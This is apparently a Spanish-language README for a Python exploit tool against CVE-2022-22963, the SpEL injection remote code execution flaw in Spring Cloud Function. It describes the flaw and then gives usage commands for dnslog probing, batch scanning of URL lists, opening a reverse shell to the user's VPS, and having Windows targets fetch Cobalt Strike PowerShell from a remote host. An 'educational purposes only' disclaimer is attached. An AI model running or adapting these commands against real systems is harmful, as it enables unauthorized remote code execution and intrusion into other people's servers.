
Vulnerabilidad de inyección de expresión SPEL en Spring Cloud Function (CVE-2022-22963)
Spring Framework proporciona un modelo integral de programación y configuración para aplicaciones empresariales modernas basadas en Java (en cualquier tipo de plataforma de implementación).
El método
applyde la claseRoutingFunctionen el framework sin servidor de Spring Cloud, Spring Cloud Function, procesa el parámetro "spring.cloud.function.routing-expression" del encabezado de la solicitud como una expresión Spel, lo que provoca la inyección de expresión Spel. Un atacante puede aprovechar esta vulnerabilidad para ejecutar código arbitrario.Versiones afectadas: 3.0.0.RELEASE <= Spring Cloud Function <= 3.2.2
El script se proporciona únicamente con fines educativos. El autor no se hace responsable de ningún uso ilegal del mismo.
pip3 install -r requirements.txt
python3 spring-cloud-function-rce.py -h

-u Especifica una única URL para realizar la prueba de dnslog
-e Especifica el modo de shell inverso
-s Especifica el sistema operativo del host de destino; por defecto es linux. Los parámetros son win/linux Se utiliza junto con -i y -c
python3 spring-cloud-function-rce.py -u "http://192.168.50.222:8080/"

python3 spring-cloud-function-rce.py -f "urls.txt"

- 123.58.236.76:47874 es la plataforma de laboratorio docker de vulfocus y no tiene instalado el comando nslookup, por lo que la prueba de dnslog falló.
- La URL de lote debe ser el directorio raíz del sitio web. http://192.168.50.222:8080/ es el directorio raíz del laboratorio local. Si se agrega el directorio test, el PoC fallará.
python3 spring-cloud-function-rce.py -u "http://192.168.50.222:8080/" -e -i "ip_de_tu_vps:5566"

python3 spring-cloud-function-rce.py -u "http://192.168.50.222:8080/" -e -s "win" -c "http://vps/a"
-c especifica la dirección del código de PowerShell generado por Cobalt Strike para la conexión. Debe usarse junto con -s "win". La opción -c debe ejecutarse en un sistema Windows para que el script pueda invocar PowerShell para codificar el PoC.


